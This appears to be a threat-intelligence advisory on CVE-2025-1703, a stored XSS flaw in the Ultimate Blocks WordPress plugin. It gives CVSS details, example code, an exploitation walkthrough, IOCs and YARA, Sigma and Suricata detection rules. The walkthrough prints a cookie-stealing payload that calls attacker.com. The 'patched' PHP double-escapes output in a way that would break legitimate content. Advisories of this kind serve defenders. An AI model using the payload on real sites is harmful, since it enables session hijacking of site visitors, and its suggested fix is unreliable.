CVE-2025-1703

Executive Summary

CVE-2025-1703 is a Stored Cross-Site Scripting (XSS) vulnerability in the Ultimate Blocks WordPress plugin, affecting all versions up to and including 3.2.7. The flaw resides in insufficient sanitization of the content parameter, allowing authenticated attackers with Contributor-level access or higher to inject arbitrary web scripts. These scripts execute when any user accesses the compromised page, leading to potential data theft, session hijacking, or defacement. The vulnerability has a CVSS score of 6.4 (Medium) and an EPSS score of 0.0%, indicating low exploitation likelihood currently, but the risk remains for targeted attacks.

WordPress Ecosystem Context

This vulnerability is specific to the WordPress plugin ecosystem. The Ultimate Blocks plugin is a popular Gutenberg block library, and the flaw affects its content handling within WordPress posts/pages. No Apache or Nginx server-side misconfiguration is involved.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level)
• User Interaction: None
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the ability for authenticated users to inject persistent scripts makes it a significant risk for multi-author WordPress sites.

Deep Dive & Mechanics

The vulnerability exists in the Ultimate Blocks plugin's handling of the content parameter, likely within a custom Gutenberg block or shortcode. The plugin fails to properly sanitize user input and escape output when rendering this parameter. An attacker with Contributor-level access (who can create/edit posts) can inject malicious JavaScript into the content field. When the post is viewed, the script executes in the context of the victim's browser, allowing actions like stealing cookies, redirecting users, or modifying page content.

Root Cause: Insufficient input validation and output escaping in the plugin's rendering logic. The content parameter is passed directly to the browser without proper encoding.

Vulnerable vs. Patched Code

Since no official patch is available, the following illustrates the vulnerable pattern and a potential fix.

Vulnerable Code (PHP):

function render_ultimate_block($attributes, $content) {
    // Direct output without sanitization
    return '<div class="ultimate-block">' . $content . '</div>';
}

Patched Code (PHP):

function render_ultimate_block($attributes, $content) {
    // Sanitize and escape output
    $safe_content = wp_kses_post($content);
    return '<div class="ultimate-block">' . esc_html($safe_content) . '</div>';
}

The patched version uses wp_kses_post() to allow only safe HTML tags and esc_html() to escape the output, preventing script injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with Ultimate Blocks plugin <= 3.2.7
• Authenticated user with Contributor role or higher

Exploitation Steps:

1. Log in as a Contributor.
2. Create a new post or edit an existing one.
3. In the content area, insert the Ultimate Blocks block that uses the content parameter.
4. Inject a malicious payload, e.g.:

   <script>alert('XSS')</script>
   

   Or a more sophisticated payload:

   <img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">
   

5. Publish or save the post.
6. When any user (including admins) views the post, the script executes.

No public exploit code is available for this CVE.

Blue Team (Detection & Prevention)

Detection:

• Monitor for posts containing suspicious JavaScript in the content field.
• Use Web Application Firewall (WAF) rules to block common XSS patterns.
• Review user activity logs for unusual post creation/editing by low-privilege users.

Prevention:

• Disable the Ultimate Blocks plugin until a patch is released.
• Restrict Contributor-level permissions to trusted users only.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to unknown domains from WordPress admin pages.
• File: Modified post content in the database containing <script> tags or event handlers.
• Log: Unusual post creation/editing by Contributor users.
• Behavior: Unexpected redirects or pop-ups on WordPress pages.

Detection Engineering

YARA Rule

rule CVE_2025_1703_Ultimate_Blocks_XSS {
    meta:
        description = "Detects malicious payloads targeting CVE-2025-1703 in WordPress Ultimate Blocks plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-1703"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"']*["']?/i
        $xss3 = /onload\s*=\s*["']?[^"']*["']?/i
        $plugin = "ultimate-blocks"
    condition:
        any of ($xss*) and $plugin
}

Sigma Rule

title: CVE-2025-1703 - Stored XSS in Ultimate Blocks Plugin
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects stored XSS attempts via the content parameter in Ultimate Blocks plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: "/wp-admin/post.php"
        http.body|contains: 
            - "<script"
            - "onerror"
            - "onload"
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in posts by administrators
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-1703 - Stored XSS in Ultimate Blocks Plugin"; flow:to_server,established; content:"/wp-admin/post.php"; http_uri; content:"<script"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Ultimate Blocks plugin until a patched version is released.
2. Review and remove any suspicious posts created by Contributor users.
3. Implement Content Security Policy (CSP) headers to restrict script execution.

Long-term Fix:

• Apply the official patch when released by the vendor.
• Upgrade to a patched version (currently unknown).
• Consider replacing the plugin with an alternative if no patch is forthcoming.

Workarounds:

• Use a Web Application Firewall (WAF) to block XSS payloads.
• Restrict Contributor permissions to only trusted users.
• Enable WordPress built-in security features like wp_kses for custom content.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert